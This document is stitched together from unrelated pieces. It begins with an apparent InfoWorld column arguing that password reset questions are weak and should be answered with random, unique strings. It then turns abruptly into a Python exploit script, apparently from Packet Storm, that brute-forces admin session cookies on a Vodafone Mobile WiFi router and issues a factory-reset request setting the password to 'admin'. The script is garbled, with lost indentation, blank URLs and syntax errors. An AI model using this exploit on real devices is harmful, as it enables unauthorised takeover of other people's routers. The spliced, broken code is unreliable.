A quick fix for stupid password reset questions

It didn’t take 500 million hacked Yahoo accounts to make me hate, hate, hate password reset questions (otherwise known as knowledge-based authentication or KBA). It didn't help when I heard that password reset questions and answers -- which are often identical, required, and reused on other websites -- were compromised in that massive hack, too. 

Is there any security person or respected security guidance that likes them? They are so last century. What is your mother’s maiden name? What is your favorite color? What was your first pet’s name?

[ Simplify your security with 8 password managers for Windows, MacOS, iOS, and Android. Find out which one prevails in InfoWorld's review. | Discover how to secure your systems with InfoWorld's Security newsletter. ]

The “hardest” (if I can use that term) questions may have up to 100 or 200 possible answers, and only if you aren’t forced to choose predefined answers. Thanks to the advent of social media and online (often illegal) record-check websites, these questions aren’t difficult to guess.

The weakest links

For decades we've known that password reset questions were the weakest link within any authentication system. Hackers love them. While they may supposedly protect passwords with a decent level of complexity and entropy, a KBA question answer almost always lacks both.

You probably remember the Sarah Palin email hack. The convicted hacker described hacking the KBA questions as so easy that he couldn’t call it hacking -- apparently, he used a Wikipedia article to find Palin's birth date, a common security question at the time. Mitt Romney’s account got compromised due to knowledge of his favorite animal.

Even very good security researchers and reporters get KBA-hacked. No matter how good you are at security, you’re left with no security if a website requires you to use weak KBA questions and answers.

What to do when you're forced to use KBA

Millions of websites and services often require that we use KBA systems. If you want an account, you must supply at least one (often three) KBA answers (sometimes questions, too).

Here’s what you do: Treat the KBA answers like a password. If you’re asked for three KBA questions and answers, make all the answers separate, nonsensical, and passwordlike.

Never put in the real answer. Don’t even put in possible fake answers that look realistic. A hacker will have an easier time guessing that your favorite answer is aardvark, then SimpleMan7!.

What I’m saying is to invent separate “passwords” for each KBA question, and make sure you don’t repeat them between websites or services (although I am OK with using the same KBA password answer for all questions on the same site if allowed). In my experience, most websites requiring KBA answers don’t track to see if your answers are unique between questions, but about 25 percent do.

You don’t want to use the same KBA answers between different sites -- if one website gets owned (like Yahoo did back in 2014 … and you’re finding out about it now), the attacker might trying using your KBA on other websites they haven’t hacked. That's what I'd do if I were a malicious hacker.

Yes, this means you have to write down your KBA questions and answers for each website, in the same way you might already store your current passwords. Hopefully you never store your password in complete, plaintext form, although I guess you'd have to do so with password storage methods that autofill your answer. I don’t trust password storage systems any more than I do KBAs.

Most sources that recommend stronger KBA answers also suggest using answers that hackers would never guess. That’s not enough. You need to make sure the answers aren’t anywhere near any possible real response (for example, a complex string of characters) and remember not to reuse them between websites.

I know it’s a pain, so remind those websites what century we're in and make them start using two-factor authentication instead. That way your embarrassing pictures or personal emails won't end up on the web because your provider was horrible at security.

Previous Post

Seagate NAS hack should scare us all

import urllib2
import json
from datetime import datetime, timedelta
import time
import httplib
from threading import Thread
from Queue import Queue
from multiprocessing import process

print """
Vodafone Mobile WiFi - Password reset exploit (Daniele Linguaglossa)
thread_lock = False
session = ""
def unix_time_millis(dt):
epoch = datetime.utcfromtimestamp(0)
return int(((dt - epoch).total_seconds() * 1000.0) / 1000)


def check_process_output():
print 1

p = process.Process(target=check_process_output)

print a

def crack(queue):
global thread_lock
global session
while True:
if thread_lock:
if not queue.empty():
cookie = queue.get()
headers = 'Referer': '', 'Cookie': "stok=%s" % cookie
req = urllib2.Request(""
% time.time(), None, headers)
result = urllib2.urlopen(req).read()
if json.loads(result)["AuthMode"] != "":
print "[+] Found valid admin session!"
print "[INFO] Terminating other threads ... please wait"
session = cookie
thread_lock = True

def start_threads_with_args(target, n, arg):
thread_pool = []
for n_threads in range(0, n):
thread = Thread(target=target, args=(arg,))
return thread_pool

def start_bruteforce():
global session
global thread_lock
queue = Queue(0)
start_threads_with_args(crack, 15, queue)
print"[!] Trying fast bruteforce..."
for x in range(0, 1000):
if thread_lock:
queue.put("123abc456def789%03d" % x)
while True:
if session != "":
return session
if queue.empty():
print "[!] Trying slow bruteforce..."
for milliseconds in range(0, how_many):
if thread_lock:
queue.put("123abc456def789%s" % (start + milliseconds))
while True:
if session != "":
return session
if queue.empty():
return session
if __name__ == "__main__":
now =
hours = raw_input("How many hours ago admin logged in: ")
minutes = raw_input("How many minutes ago admin logged in: ")
init = datetime(now.year, now.month,, now.hour, now.minute) - timedelta(hours=int(hours), minutes=int(minutes))
end = datetime(now.year, now.month,, 23, 59, 59, 999999)
start = unix_time_millis(init)
how_many = unix_time_millis(end) - start + 1
print "[+] Starting session bruteforce with 15 threads"
valid_session = ""
valid_session = start_bruteforce()
except KeyboardInterrupt:
print "[-] Exiting.."
thread_lock = True
if valid_session == "":
print "[!] Can't find valid session 🙁 quitting..."
print "[+] Resetting router password to 'admin' , network may be down for a while"
headers = 'Referer': '', 'Cookie': "stok=%s" % valid_session
req = urllib2.Request("",
"goformId=RESTORE_FACTORY_SETTINGS&_=%s" % time.time(), headers)
except httplib.BadStatusLine:
print "[!] Password resetted to admin! have fun!"
except Exception:
print "[x] Error during password reset"
print "[-] Can't reset password try manually, your session is: %s" % valid_session

Exploit Files ≈ Packet Storm